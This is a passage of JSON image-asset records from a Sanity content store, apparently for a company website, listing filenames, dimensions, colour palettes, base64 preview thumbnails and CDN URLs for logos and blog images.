{"_createdAt":"2023-05-02T06:46:36Z","_id":"image-107eec7a1980a2b86984cdf0ec00daac457f8cda-400x400-jpg","_rev":"T1COJnud3oWDz4GRbq54P6","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T06:46:36Z","assetId":"107eec7a1980a2b86984cdf0ec00daac457f8cda","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"enTQotoLl-ofl9oLfQfkfQf+l-fka0fke9offQf+fke.csfkiIf6bH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQEAAwAAAAAAAAAAAAAAAAQGBQcI/8QAJRAAAQQBAwQCAwAAAAAAAAAAAwABAgQFBhESByEiMVFhMnGB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAMG/8QAHhEAAgIBBQEAAAAAAAAAAAAAAQIAAwQFERIhMfD/2gAMAwEAAhEDEQA/AO7+oetS6dsAqUQRNaK3Ly9MyygepmcqHG+Tx8Igk7b+Lxfb6VXVCb4zVVfIlBIg3A8ISZu0ZfKyFrPjyVUlNq5yyK3GDSfltLftL9qTMd/ZvNN03Hsxa2NIYEdnfv4T0HRswt0w2B/gWLSb+opdOgnXwVEJWdpwDFnb72RVmHtUK7BfAZXbqV7Y+FoIyw+JtupK2ExlcjEBRrwm3qTQbdESFtdRxDECciiIknP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960225","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#820120","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3464","foreground":"#fff","population":28.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7afb8","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84b5","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a05468","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3464","foreground":"#fff","population":28.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Brolly Logo.jpg","path":"images/sczeoy4w/production/107eec7a1980a2b86984cdf0ec00daac457f8cda-400x400.jpg","sha1hash":"107eec7a1980a2b86984cdf0ec00daac457f8cda","size":10272,"uploadId":"iBjirBdnbRFNOQjXqY9MTEsHNr3jEopN","url":"https://cdn.sanity.io/images/sczeoy4w/production/107eec7a1980a2b86984cdf0ec00daac457f8cda-400x400.jpg"} {"_createdAt":"2022-09-02T15:27:29Z","_id":"image-1083817dd0d00a6a7952fbdc8cb0cfc5b7f2361d-860x860-jpg","_rev":"0gThdvMbf71ZLkDCR4ZvbO","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T15:27:29Z","assetId":"1083817dd0d00a6a7952fbdc8cb0cfc5b7f2361d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"etNwG{IU_Nofs9_3xuRja}Rjt8RjRPa|R*ozj[jYoLozxuj[Rjf6az","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":860,"width":860},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAgGBP/EACYQAAEDBAAGAgMAAAAAAAAAAAECAwQABQYRBxITITFBCBYiQlH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAL/xAAZEQEBAQADAAAAAAAAAAAAAAABAAIxQUL/2gAMAwEAAhEDEQA/AKEyi9tWKxyp6wFFpP4pPsnxWRxfM7j9ljWy9lhxme31I7zSSAk+eQ1jfkFm0W32Y2dkqVMeUlW0nsjR33rLWPI50zKcPiy9BraX+oDvfqj1pNAS4wOFeap6UBBG6VuOkW/22Pfs8lM3IKcRzr8HXiuzg3Gbk8TYUV8FbENpfRSf170pQ9lV5apmllSdn++qUpS0t//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b4039","foreground":"#fff","population":2.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#633a21","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c89f8d","foreground":"#000","population":3.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c89f8d","foreground":"#000","population":3.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0baa2","foreground":"#000","population":2.32,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a9816e","foreground":"#fff","population":1.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf713f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ruth-prieto.jpg","path":"images/sczeoy4w/production/1083817dd0d00a6a7952fbdc8cb0cfc5b7f2361d-860x860.jpg","sha1hash":"1083817dd0d00a6a7952fbdc8cb0cfc5b7f2361d","size":58609,"uploadId":"S88aT8dytpjmIFnNqEEPoJlhlDKVTlWC","url":"https://cdn.sanity.io/images/sczeoy4w/production/1083817dd0d00a6a7952fbdc8cb0cfc5b7f2361d-860x860.jpg"} {"_createdAt":"2022-09-07T06:39:06Z","_id":"image-10a1b01648e47cda0d90883379ce131f954d1954-794x749-jpg","_rev":"vDQRRYe9nRreptIRp66grC","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:15Z","assetId":"10a1b01648e47cda0d90883379ce131f954d1954","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9Ss50%M_N%Nenx[a{n,e:t6.8ayIUaztR-qjZWUX8jZoMaeayW.ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0600801068090788,"height":749,"width":794},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAATABQDASIAAhEBAxEB/8QAGgABAAEFAAAAAAAAAAAAAAAAAAMBAgQFCP/EAB8QAAICAgMAAwAAAAAAAAAAAAABESECAwQSQRMiMf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAwDAQACEQMRAD8A6i35LG/SDDetmxJNSvSfkJdHKow+Hp6T9YurBGyxtIDH88AFM0nEliS+WIqJAAlAAH//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c305c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16669b","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dec7ce","foreground":"#000","population":0.29,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dec7ce","foreground":"#000","population":0.29,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb97e5","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5894b0","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64c7ed","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"10a1b01648e47cda0d90883379ce131f954d1954-794x749.jpg","path":"images/sczeoy4w/production/10a1b01648e47cda0d90883379ce131f954d1954-794x749.jpg","sha1hash":"10a1b01648e47cda0d90883379ce131f954d1954","size":255944,"uploadId":"5l2Ajtib3fy8yidfgceHlIrcqASObx3Q","url":"https://cdn.sanity.io/images/sczeoy4w/production/10a1b01648e47cda0d90883379ce131f954d1954-794x749.jpg"} {"_createdAt":"2023-02-01T09:40:28Z","_id":"image-127b8dc8cb4342c522f3d4611ffdb0474b100885-1000x196-png","_rev":"pnOvEyahjeT2Gte9fh3OTT","_type":"sanity.imageAsset","_updatedAt":"2023-02-01T09:41:21Z","altText":"Aiven community avatar group","assetId":"127b8dc8cb4342c522f3d4611ffdb0474b100885","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"45EfKJ.T004T00","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.1020408163265305,"height":196,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAACxLAAAsSwGlPZapAAABOklEQVQYlWNgYGBg+PzjP8P2q/8ZXv7/z3Du23+mNYeey8xdd9Z58ow1PlNbar2nVsb4VCdYeOeFG/t0V6Z5r5o50WvTgjnaGxfMZd+zZh3DnrXrGFZO7wcZBQGvP/9hWHPiIcPGp/8Zdt38zLPh0NXwhSt3rO3rnnaoo7zkQEdu2MHqFNcDebHOBysyIw9OaKjaM7OjtXpCfbnC////GUC4MiMaYeCrT78ZFm7dzDD94B6GtcdOCK7ZsSlvydL5V3rbO95UZGa8qkgMft1UGPuqriTxVXasz+uMqMAnZemJM6uzE7VgBqZFeCEMfPv5O8PcFVUMNbN9GeasaeBcs6nNe93aCYsm97Vvz4pL2JoTGbi9ryFv69Sukm2pEc5b7c11Nvq62ORlxQVKdhamMZSlRDNEBbmBDQMAhLiXejprcRMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304a53","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f4813","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1a498","foreground":"#000","population":1.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1a498","foreground":"#000","population":1.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96b7e2","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e8c56","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d89c3c","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aiven-community-avatar-group.png","path":"images/sczeoy4w/production/127b8dc8cb4342c522f3d4611ffdb0474b100885-1000x196.png","sha1hash":"127b8dc8cb4342c522f3d4611ffdb0474b100885","size":146075,"title":null,"uploadId":"bDnCDcDw4Tmb9sj5SaajOkywLVKocCZ6","url":"https://cdn.sanity.io/images/sczeoy4w/production/127b8dc8cb4342c522f3d4611ffdb0474b100885-1000x196.png"} {"_createdAt":"2023-07-07T09:41:06Z","_id":"image-10d73eaa11544b7d4f751ece23d798c89e75ded7-1567x844-png","_rev":"FQJzLzBZEnr4ZD7D3tNK1n","_type":"sanity.imageAsset","_updatedAt":"2023-07-07T09:41:06Z","assetId":"10d73eaa11544b7d4f751ece23d798c89e75ded7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M54o,8_4t8M{RP_4.8WoM{Rj%MxuaeWBoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAABh0lEQVQokX2QbUsCQRCAb9fz1CLL07SgH5C326V1q3Zq9CEoioIsojcoyN1b9158qT4WhVFaQQT94PCEyNLgYRhmeGaGkSJZO0a8OPESuXqi0IgTTyWemqsn8vUYccN6DWiWpLHhpMrX2UrbPO6Yx53yabd40jEOHvW9B3L4lK20U6WWjDkYJc+s3pgn3Q36sX75vsk+dsTn2vkr2r3Xtu/mt26nzeZ/smo2M5V26ewlf/RcPO2uXbwt7beTZms8I8YyQlngQ88G/SSUtdWVZqp8NV1sJUtXqfJ1rNBQ9BpIU5BmID1kIdAYRAwgSwLI8mE+fvI9eFAAiEFEYS8yiDlANWnkJwfNAGIypkFcDWIqYw6xAMiW+jdAZI36im9S36EB1ItBzGUsALalCK5OZnh02QktCqj1RvwCav2dFGq0X5ERD2IRwLYUX6RzeXu21JoknqJzf+oACrYiOgvr1ndLwTyyIEK6kOLESRbcxEojlq9HDXfiD1HDUXP2FHF+VFzVcKYM9wuqqJHGgqwM1gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543845","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":76.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":76.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bbd9","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b7193","foreground":"#fff","population":0.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54b57","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"June2023_Speaking_Crabs_blog.png","path":"images/sczeoy4w/production/10d73eaa11544b7d4f751ece23d798c89e75ded7-1567x844.png","sha1hash":"10d73eaa11544b7d4f751ece23d798c89e75ded7","size":47685,"uploadId":"A5UrJwZLf2eQIlzVqTOM9lzNdl23hOjo","url":"https://cdn.sanity.io/images/sczeoy4w/production/10d73eaa11544b7d4f751ece23d798c89e75ded7-1567x844.png"} {"_createdAt":"2022-06-30T19:58:36Z","_id":"image-11020ef0db0731ea5bb40fe45d0f470b7a028b22-1438x812-gif","_rev":"QRl2cGoCgj0FlAhkRrhpJI","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:17Z","assetId":"11020ef0db0731ea5bb40fe45d0f470b7a028b22","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"M09HCQxut7%NtR-;RjWBoMj[a{jZRjogae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.770935960591133,"height":812,"width":1438},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEG/8QAFxABAQEBAAAAAAAAAAAAAAAAABEBMf/EABYBAQEBAAAAAAAAAAAAAAAAAAACA//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AMFucKukapIEAf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c444c","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4145","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c444c","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e9298","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9bcbf","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696c74","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797e85","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"11020ef0db0731ea5bb40fe45d0f470b7a028b22-1438x812.gif","path":"images/sczeoy4w/production/11020ef0db0731ea5bb40fe45d0f470b7a028b22-1438x812.gif","sha1hash":"11020ef0db0731ea5bb40fe45d0f470b7a028b22","size":208438,"uploadId":"tEBWbFUVHxsYfmVUbppLVr9zpYtv0REz","url":"https://cdn.sanity.io/images/sczeoy4w/production/11020ef0db0731ea5bb40fe45d0f470b7a028b22-1438x812.gif"} {"_createdAt":"2024-08-27T14:24:38Z","_id":"image-111faeb97df312324c822a3f921a24ee62bf80fd-1786x1084-png","_rev":"V06bsD4sX3T8NTHrBH0qP6","_type":"sanity.imageAsset","_updatedAt":"2024-08-27T14:24:38Z","assetId":"111faeb97df312324c822a3f921a24ee62bf80fd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDSFeNuj^jtSPBPqt,?GeTH?L2px%~ozR5+FVEtStmOs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6476014760147601,"height":1084,"width":1786},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAAChElEQVQokU2TyW8cRRSH/cchDiAO3HKGK8dIXMGKuIDEFiNAihEBB5CQCCNCSGSDAIVshkASL5E944VxZnp6m+7al54PdQ8ep6Sfqt6T6qv3nn61xDNrNpt1e9M0DE8yrt/c5PLaOp+vrfPFlQ2u/XSfwWGCNh7rAsYGnI80zWxxd6k9NDF2mjVNSyWEyH5/xNff/s57Kz3evdjjg49+YO2b3/jn8ZBJbslKS1oYysphbDwDNsFjRkeY4yfEugBviUYzGec8enzAnXs73N3c496f+/z9cMDgaEKSKpJUMEqmpLlCat911QGjUag/eoirH2J37tLIKVHViKIknWSMxglpVpIVNWmak6YFeSHI8opJmlOUAqUd8RQYZIX+8RP0+6+gb6wS8qdE5xCVJElyno4mjJOCLKsoioqirClK1YHaeDqVaO3OKtRlhuitYN96GfPZ69i9v4jeY62nriTVtO4kpjWylkhpENIihe5iJQ3Oh7MZynxC9f1F3PKL+LfPodcvY8fHeCUIrYwmWkO0mugdMTZde+2jbb4Jc9gCeFqhX36B5s3ncavn0beuYnbvY492cdmIICqCloQW7P3cEcExc4ZZe37GdkteTNHXP8VfeInmjeeIK6/iv3sHe+MS+pevUA9+Rg22UP/2USeHqPEQPRmh03EnU5UEa+eW62xjFPp2D3npPOrj11BXltE3V9EbXyI31hB3riF2NufQg21Ef5tyf4tyf4fy4An18AhdFsS29VMfymGf6cNblA9+JX90m7q/hTjcpR5sUx/vIZITbJHipjkqS6jGJ53qttIyxyk1H8Ps/5/inMMY3Ukr1cUhhIViaL9X082o3Rf5GBb5U/0HxqZ5whc5O7MAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363c71","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d02c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b08c","foreground":"#000","population":3.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cba7a2","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b08c","foreground":"#000","population":3.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae735f","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45207","foreground":"#fff","population":2.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Time Critical Decisions.png","path":"images/sczeoy4w/production/111faeb97df312324c822a3f921a24ee62bf80fd-1786x1084.png","sha1hash":"111faeb97df312324c822a3f921a24ee62bf80fd","size":65754,"uploadId":"d4sRxc0r0fSnOFsWNRRUCTXetQBDBxAW","url":"https://cdn.sanity.io/images/sczeoy4w/production/111faeb97df312324c822a3f921a24ee62bf80fd-1786x1084.png"} {"_createdAt":"2024-06-26T14:06:45Z","_id":"image-11234239d06cf597bea9d94ec8e8adcce6a389e3-1200x628-png","_rev":"FWfcFyz4v76XPZNTIFQjgj","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T14:06:45Z","assetId":"11234239d06cf597bea9d94ec8e8adcce6a389e3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M27US@%SR18w04~oJGxtM]4[01Mt-;WJ9D","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClElEQVQokSWSW1MaBwCF9we0NrZFWGFZ9wK7y8VFBASLJJEgomIUtFato3a0udRrUBGRWzCJjM2YTPKQp/7VryN5Ok/nO+fhE350lPnh1zIDQ6uEYge8OvrGUeU/ElN1huTXOORDnMopLvWcYb2G29/EazYZHa9SyFUpFpqMJ9t4zWtEvYbwAPzJucKguIYx+pLSHz3Wtu6xJ6qI6gGidsKwXmFYv+gXJLNBIHpGdnqXvZVtKjsnbK53sSe7uP0NhEHxd2T/Dqb9gmjqhKezDaYLHeJTdSLJOtHJFmOTHYKxNkqwiRa+Zip7xPP5JZamH7P9fIn9v87JzN7gDbxFcMobRFOHZAtXzBSb5Bc75BdvKCzdMrd8x0L5nrnSJ3LFe2KZHuFEm1zhiNmZPLYVIBVNslDcYeLJNSOhHoKo/Ek8fUy+2CC/2OoD50vvWVy9o7jykfnSPfPlzxRXv/K08Ak7+Y54+pRoLI8sWZhGknhqCytaQw72EIa86wTGXpKYOmUic0bySZV0tkFmpkMm1yX97B3p3C2Z/B3xTA9fpIs+WkezdpFG5lD8ZXzhA2SrjsfsIjxyruCU1vGoW0i+Xbz+fRTrH/TQCXq4gha6QA1eoobqyIEGcqCNNf6BSOoD4UQDw75ECdbxWg0ks4Uw6CjhEUsoykYf6Nb3MCPHjCUvMSMXeI0KLvUNTvUMUashW23s1L/89uwLiccfCcZv0EdbqKGHsSbCz0PLqJ4SlrGFHthnxHrBWOqcdLaFPXHFiPUAeoNL++6hZLTw2e8JxG7x2W1k6wrJuMRj1PCYTYQBR4lfnGUc7jUc0iYOaZth7W+8xgFu/RCXcvxdbO287+GD2B6j009Rq/afO9UKLu0Ct9Hif0AxanPhGg47AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c324f","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041566","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2685","foreground":"#fff","population":8.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0bdd6","foreground":"#000","population":7.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7981c3","foreground":"#fff","population":0.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f6f85","foreground":"#fff","population":4.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2685","foreground":"#fff","population":8.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"LAredoute 3.png","path":"images/sczeoy4w/production/11234239d06cf597bea9d94ec8e8adcce6a389e3-1200x628.png","sha1hash":"11234239d06cf597bea9d94ec8e8adcce6a389e3","size":290601,"uploadId":"5IcxuSS8mp3jd2j3CYy3d5U5X2tQYJG2","url":"https://cdn.sanity.io/images/sczeoy4w/production/11234239d06cf597bea9d94ec8e8adcce6a389e3-1200x628.png"} {"_createdAt":"2023-06-23T12:55:32Z","_id":"image-127e8170fed0b2c5647c317fc237af4dbda1ad49-1428x316-jpg","_rev":"yn3ffGOj7FCOSHAOSRIqsg","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T12:56:11Z","altText":null,"assetId":"127e8170fed0b2c5647c317fc237af4dbda1ad49","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.518987341772152,"height":316,"width":1428},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAEABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAcD/8QAHxAAAQQBBQEAAAAAAAAAAAAAAQACAwQRBQYHITEi/8QAFAEBAAAAAAAAAAAAAAAAAAAAA//EABcRAQEBAQAAAAAAAAAAAAAAAAABMQL/2gAMAwEAAhEDEQA/AKRtC7NO+0HkfNd+MBY8f2pLNq6JMYFd/gREHMwtuoVq9t8N+VkTImtDj4wd9lEROJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6b4d39","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d1905","foreground":"#fff","population":0.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c6ac","foreground":"#000","population":3.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c6ac","foreground":"#000","population":3.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7c5af","foreground":"#000","population":1.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7664","foreground":"#fff","population":1.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e57f19","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"pgvector_face_picture_encoding.jpg","path":"images/sczeoy4w/production/127e8170fed0b2c5647c317fc237af4dbda1ad49-1428x316.jpg","sha1hash":"127e8170fed0b2c5647c317fc237af4dbda1ad49","size":100560,"title":null,"uploadId":"wKyaWzHdE7USTlBJeY5bH1ZJqDrMLxBs","url":"https://cdn.sanity.io/images/sczeoy4w/production/127e8170fed0b2c5647c317fc237af4dbda1ad49-1428x316.jpg"} {"_createdAt":"2023-06-08T08:05:52Z","_id":"image-1142e2ede9143bf3554dbc916518409ae7a52eed-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIya00E0","_type":"sanity.imageAsset","_updatedAt":"2023-06-08T08:05:52Z","assetId":"1142e2ede9143bf3554dbc916518409ae7a52eed","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHG[m6}[s5$%Rj^%%MTLo~R+-ox]%hx]s.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFBv/EACMQAAIBAwMEAwAAAAAAAAAAAAECAwAEBQYRIRITQVEjMUL/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQME/8QAHBEAAgICAwAAAAAAAAAAAAAAAQIAAxMhETFx/9oADAMBAAIRAxEAPwCwuprnM962ktpGlYhTv+j7qcJZLW6NtNB2ST1JET9mlM87RanKRMUXsF9l4591ncTdzzZr5ZXch15Y7mnVSpqyN3C+5s2JNDyN3xyJu5Oro4OwDeBRSGq5HGZl2YjgeaKykbkGQ8z/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","bac